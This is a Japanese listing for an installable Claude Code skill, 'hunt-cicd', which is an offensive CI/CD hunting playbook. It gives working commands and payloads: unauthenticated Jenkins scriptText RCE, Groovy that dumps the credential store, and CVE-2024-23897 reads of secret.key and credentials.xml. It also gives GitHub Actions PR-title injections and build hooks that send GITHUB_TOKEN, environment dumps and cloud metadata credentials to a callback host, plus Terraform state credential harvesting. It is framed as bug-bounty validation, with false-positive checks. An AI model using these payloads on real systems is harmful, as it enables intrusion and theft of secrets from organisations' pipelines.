mcpField
H
hunt-cicd

hunt-cicd

github.com/elementalsoulsセキュリティ5.3k247 回インストール今日更新
リポジトリ

hunt-cicd について

hunt-cicd は、Jenkins、GitHub Actions、GitLab CI、Terraform の状態ファイルを対象とする、CI/CD パイプラインのセキュリティ監査スキルです。信頼できない入力から実行箇所へのデータフローを追跡し、観測可能な証拠で影響を確認する方針です。

主な機能

  1. 01Jenkins コンソールとファイル読み取りの確認
  2. 02GitHub Actions のインジェクションと Runner 監査
  3. 03OIDC 信頼ポリシーとキャッシュポイズニングの確認
  4. 04CI ログ、アーティファクト、シークレットの調査
  5. 05GitLab CI Runner と変数の監査
  6. 06Terraform 状態ファイルの機密情報確認

活用シーン

  1. 01Jenkins スクリプトコンソールと認証情報露出の調査
  2. 02GitHub Actions ワークフローでの信頼できない入力の実行確認
  3. 03セルフホスト Runner とクラウドロール信頼設定の確認
  4. 04CI ログ、アーティファクト、状態ファイルからのシークレット漏えい調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-cicd

インストール後、Claude Code で/hunt-cicdを入力して読み込まれたか確認します。

詳細

HUNT-CICD — CI/CD パイプラインのセキュリティ

クラウンジュエルの標的

Jenkins の /script コンソールにアクセスできる場合、即座に RCE が可能です。GitHub Actions の pull_request_target(または workflow_run)ワークフローがPR の head refをチェックアウトし、信頼できない ${{ github.event.* }} をシェルの run: で参照している場合は、「Pwnrequest」となり、承認なしでフォーク PR からシークレットを窃取できます。

最も価値の高い発見:

  • Jenkins Script Console — Groovy の実行 → 完全な RCE → 認証情報ストアのダンプ
  • Jenkins CLI のファイル読み取り(CVE-2024-23897) — 認証前の @/etc/passwd 引数展開 → secret.key/credentials.xml の読み取り → 管理者の偽造 → RCE
  • GitHub Actions の pull_request_target インジェクション(Pwnrequest) — フォーク PR が、特権付きシェルステップ内の ${{ }} を制御 → GITHUB_TOKEN(多くの場合 contents:write)と組織のシークレットを窃取
  • セルフホストランナーの汚染 — 公開リポジトリ上の非エフェメラルなランナーがフォーク PR のビルドを実行 → 攻撃者のコードがランナーホスト上で実行 → 永続化とシークレットの窃取
  • OIDC 信頼ポリシーの悪用 — AWS IAM ロールの信頼ポリシーにある、過度に広範な sub クレームのワイルドカード → 組織内のあらゆるワークフローが特権クラウドロールを引き受ける
  • Terraform ステートの漏えい — 公開 S3/GCS/Blob 内の *.tfstate → インフラストラクチャの認証情報、DB パスワード、秘密鍵が平文で露出
  • ランナートークン/アーティファクト/ログの漏えい — 攻撃者のランナーを登録する、または ::add-mask:: の前に出力されたシークレットを収集する

「証拠なしに、起きたとは言えない」ゲート(最初に読む)

ダッシュボード上で悪用可能に見えるため、CI/CD に関する発見は過剰に報告されがちです。何かを報告する前に、次の点を確認してください。

  1. ログインページは RCE ではありません。 アクセス可能な /script URL が Jenkins のログイン画面または 403 を返す場合、認証不要のスクリプトコンソールではありません。scriptText への POST が実際にコマンドの出力を返した場合に限り、該当します。
  2. pull_request_target ワークフローは、自動的にインジェクション可能になるわけではありません。 信頼できないデータが実行シンクに流れ込む場合にのみ悪用可能です。PR を作成する前に、データフローを確認してください(FP セクションを参照)。
  3. ブラインドインジェクションには OOB による確認が必要です。 脆弱なステップの出力を読み取れない場合、Burp Collaborator/interactsh を使って必ず確認してください。ランナーから呼び出される、シンクごとに固有のサブドメインを使用します。ワークフローが「成功した」ことは、コードが実行された証拠にはなりません。
  4. .tfstate が HTTP 200 を返しても、解析するまでは認証情報の露出とは言えません。 ベースラインと比較してください(FP セクションを参照)。多くの tfstate ファイルにはリソース ID と出力しか含まれず、シークレットは含まれていません。

フェーズ 1 — Jenkins:検出、スクリプトコンソール、CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

認証不要のスクリプトコンソール → RCE(POST が出力を返す場合に限る):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

認証情報ストアのダンプ(Groovy は UI でマスクされるシークレットを復号します):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — Jenkins CLI 経由の認証前任意ファイル読み取り(args4j の @ ファイル展開。≤2.441/LTS ≤2.426.2 が影響を受けます)。匿名読み取りが可能な場合、secret.key と master.key を読み取って credentials.xml を復号するか、ユーザーの config.xml API トークンを読み取ることで、RCE にエスカレートできます。

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

検証:レスポンスには実際のファイル内容(root:x:0:0)が含まれている必要があります。漏えいした行を含まない一般的な「no such agent」というメッセージは、インスタンスにパッチが適用済みか、パスが間違っていることを意味します。これは発見事項ではありません。


フェーズ 2 — GitHub Actions:Pwnrequest、シェルへの ${{ }} の埋め込み、ランナーの汚染、OIDC

核となる違い(誤った PoC の 90%がここで失敗します)

シンクのクラスは 2 つあります。それぞれ異なるペイロードが必要です。

  • ${{ }} からシェルの run: へのテンプレート展開 — 式はシェルの実行前にスクリプトへ置換されるため、信頼できないフィールドに含まれる改行/バッククォート/$(...) は、そのままシェルコードになります。これが典型的なインジェクションです。
  • シェル内での環境変数の読み取り — GITHUB_TOKEN、secrets.X、および env: にマッピングされた値は、値そのものが文字列であるシェル変数です。これらを流出させるには echo/printenv を使います。cat $VAR はトークン名のファイルを開こうとするため、何も出力されません。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

${{ }} シンクを利用した攻撃 — PR のタイトル(またはブランチ名、本文、ラベル、コミットメッセージなど、すべて攻撃者が制御可能なもの)を設定して echo の範囲を抜け、自分のコマンドを実行します。トークンの流出には cat ではなく printenv を使います。

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

複数行の YAML run: では、改行インジェクションのほうが簡潔です。

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

汚染されたチェックアウトを利用した攻撃(${{ }} は不要) — pull_request_target が PR のヘッドをチェックアウトし、その後、チェックアウトしたツリーからビルドスクリプトを実行したり、依存関係をインストールしたりする場合(make、悪意のある preinstall を含む npm ci、Makefile、PR 内の .github/ アクションなど)、ランナーは攻撃者のコードを直接実行します。任意のビルドフックに仕込みます。

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

セルフホストランナーの汚染 — 公開リポジトリで runs-on: self-hosted(またはカスタムラベル)を pull_request/pull_request_target と併用している場合、フォークからの PR のジョブが組織独自のホストで実行されます。一時的なものではないランナーでは、ジョブ間でツールや認証情報が残ります。ジョブ内からランナーの ID とメタデータを読み取り、確認します。

- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

OIDC 信頼ポリシーの悪用 — OIDC 経由で configure-aws-credentials を使って IAM ロールを引き受けるワークフローでは、信頼ポリシーの token.actions.githubusercontent.com:sub 条件が欠落しているか、緩いワイルドカード(repo:ORG/*:*)を使っていると、組織内の任意のワークフロー(マージ可能な悪意あるワークフローや、設定ミスのあるトリガーによるフォークを含む)がそのロールを引き受けられます。ロールを調査します。

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

次に、影響を実証します。組織内で制御できるワークフローからロールを引き受け、aws sts get-caller-identity を実行して、権限のあるロール ARN を返します。

調査
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

PR を作成する前に、静的解析ツールで候補をトリアージします。gh extension install rhysd/actionlint をインストールするか、zizmor(pip install zizmor; zizmor .github/workflows/)を実行します。これらはテンプレートインジェクションや危険なチェックアウトのパターンを特に検出します。


Actions キャッシュポイズニング

GitHub Actions のキャッシュは、デフォルトではブランチ間で信頼が分離されていません。攻撃者のブランチやフォーク PR のワークフローがキャッシュエントリ(キーまたは復元キー)を書き込み、後からデフォルトブランチの権限のあるワークフローがそれを復元すると、攻撃者が仕込んだファイル(ビルド済みバイナリ、依存関係、スクリプト)が信頼されたビルドに注入され、権限のあるコンテキストでコード実行に至る可能性があります。攻撃者が制御する値をキーに使うキャッシュアクションがないか、また権限のあるパイプラインが、信頼されていないジョブから書き込めるプレフィックスを restore-keys で復元していないか確認します。

フェーズ 3 — ログとアーティファクト内のシークレット

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

actions/upload-artifact はシークレットをマスキングしない点に注意してください。env/debug という名前のアーティファクトは、よくある直接的な漏えい経路です。


フェーズ 4 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

登録トークンが見つかっただけでは、問題の指摘にはなりません。そのトークンを使って、対象プロジェクトのパイプラインを実行するランナーをインスタンスに登録できる場合に限り、指摘事項となります。自分が所有する一時的なランナーを登録し、ジョブのマスク済み変数を取得して実証します。


フェーズ 5 — Terraform ステートの漏えい

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

誤検知の除外基準: id、arn、tags だけを列挙する tfstate は、シークレットの漏えいではありません。上記の jq を実行し、少なくとも 1 つの有効な認証情報(実際の password、private_key、RDS マスターパスワード、またはローテーションされていないアクセスキー)が含まれていることを確認します。次に、その認証情報を読み取り専用で使って影響を実証します(aws sts get-caller-identity、またはバナーが返る DB 接続)。「ステートに認証情報がある」と主張するだけでは不十分です。


フェーズ 6 — ビルド成果物/イメージの分析

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified を指定すると、実際に認証できた認証情報だけに trufflehog を絞り込めます。報告前に、期限切れやサンプル用のキーによるノイズを取り除くために使用してください。


根拠となる参照情報(名前付きの事例/CVE)

  • Pwnrequest/pull_request_target クラス — GitHub Security Lab(Jaroslav Lobačevski)、「GitHub Actions とワークフローを安全に保つ:信頼できない入力」。フォークからの PR によるシークレットの窃取と、危険なチェックアウトパターンについての元となる記事です。
  • GitHub Actions のワークフローコマンドインジェクション — CVE-2020-15228 — set-env/add-path ワークフローコマンドにより、ログ出力から環境変数/PATH をインジェクションできました。これを受けて、これらのコマンドは非推奨となり、$GITHUB_ENV への移行が進みました。
  • Jenkins CLI の任意ファイル読み取り — CVE-2024-23897 — args4j の @ 接頭辞付きファイル展開(Jenkins ≤2.441/LTS ≤2.426.2)により、secret.key/credentials.xml を読み取り → 管理者権限を取得 → RCE に至ります。
  • Jenkins Stapler RCE — CVE-2018-1000861 — 動的ルーティングによって groovy.lang.GroovyShell に到達します。古い Jenkins で、認証なしのスクリプト実行につながる一連の手法としてよく知られています。
  • PortSwigger/Liam Galvin ほか — GitHub Actions のインジェクションシンク(タイトル/ブランチ/本文/ラベル)と、${{ }} を run に埋め込むテンプレート置換ベクターに関する調査です。上記の actionlint/zizmor の検出ルールの基礎となっています。

(正確な帰属を確認できた CVE と事例のみを記載しています。該当すると主張する前に、稼働中のバージョンが CVE の影響範囲に含まれることを確認してください。)


攻撃チェーン表

CI/CD の検出事項チェーンの到達先影響
Jenkins の匿名スクリプトコンソール認証情報ストアをダンプ → クラウド/DB の認証情報 → 横展開重大
Jenkins CLI のファイル読み取り(CVE-2024-23897)secret.key+credentials.xml を読み取り → 管理者を偽装 → RCE重大
Actions の ${{ }} インジェクション(Pwnrequest)printenv GITHUB_TOKEN/シークレット → 保護されたブランチへのプッシュ重大
セルフホストランナーの汚染ランナーホスト上でコードを実行 → IMDS 認証情報 → 永続化重大
OIDC の sub ワイルドカード任意の組織ワークフローから、権限の強いクラウドロールに AssumeRole重大
有効な認証情報を含む Terraform の状態ファイルインフラ/DB/API の認証情報を使用重大
GitLab ランナーの登録ランナーを登録 → パイプラインのシークレットを取得高/重大
イメージ/ログ/成果物に含まれるシークレット認証情報を直接使用高

検証時の注意事項(各検出事項について、報告前に実施)

  • Jenkins コンソール: scriptText の POST が id の出力(uid=…(jenkins))を返すことを確認してください。ログイン/SSO/Crowd ページが返る場合は、匿名アクセスではありません。リクエストとレスポンスのスクリーンショットを撮影してください。
  • CVE-2024-23897: レスポンスに実際の /etc/passwd の内容が含まれていることを確認してください。バージョンが影響範囲内であることも確認してください。パッチ適用済みのインスタンスは、漏えいした行を含まないエラーを返します。
  • Actions のインジェクション: まず、データがシンクに流れることを確認してください(FP のセクションを参照)。ブラインドステップでは、ランナーの送信元 IP を含む Collaborator コールバックが必須です。エンドポイントでデコードした printenv//proc/self/environ 経由のトークン窃取を確認してください。cat $GITHUB_TOKEN は絶対に実行しないでください。
  • OIDC の悪用: 管理下のワークフローから aws sts get-caller-identity を実行し、権限の強いロール ARN が返ることを確認してください。信頼ポリシーが寛容に見えるだけでは不十分です。
  • Terraform の状態ファイル: jq による抽出で少なくとも 1 つの 有効な シークレットが得られ、その後、読み取り専用の認証で有効性が証明されることを確認してください。ID/ARN のみが含まれる状態ファイルは検出事項ではありません。
  • ランナートークン/イメージ/ログ: シークレットによる認証が成功することを実証してください(trufflehog の --only-verified、または実際の API 呼び出しを使用)。文字列を所持しているだけでは影響の証明になりません。
撤回すべき一般的な誤検知
  • /script がログインページを返している(認証が必要)のに「未認証 RCE」として報告されるケース。
  • pull_request_target が存在するが、信頼できない入力がシンクに到達しないケース(例:github.actor に対する if: でのみ使用されている、またはワークフローが _target ではなく pull_request を使用している)。
  • ${{ }} 参照がすでに env: ブロックでラップされ、シェル内でクォートされている(推奨される安全なパターン)ケース — インジェクション可能ではありません。
  • リソースメタデータのみを含む .tfstate の 200 応答。
  • protected であり、攻撃者がプッシュできない保護ブランチにのみ公開されているマスクされた GitLab 変数。
  • サンプルまたは期限切れのキーに対する Trufflehog の「未検証」ヒット。

重大度: Jenkins コンソール / CVE-2024-23897 / Actions のシークレット窃取 / ランナー汚染 / OIDC ロール引き受け / Terraform の有効な認証情報 = Critical。イメージ/ログ/アーティファクトのシークレット = 認証情報のスコープにより High/Critical。

コメント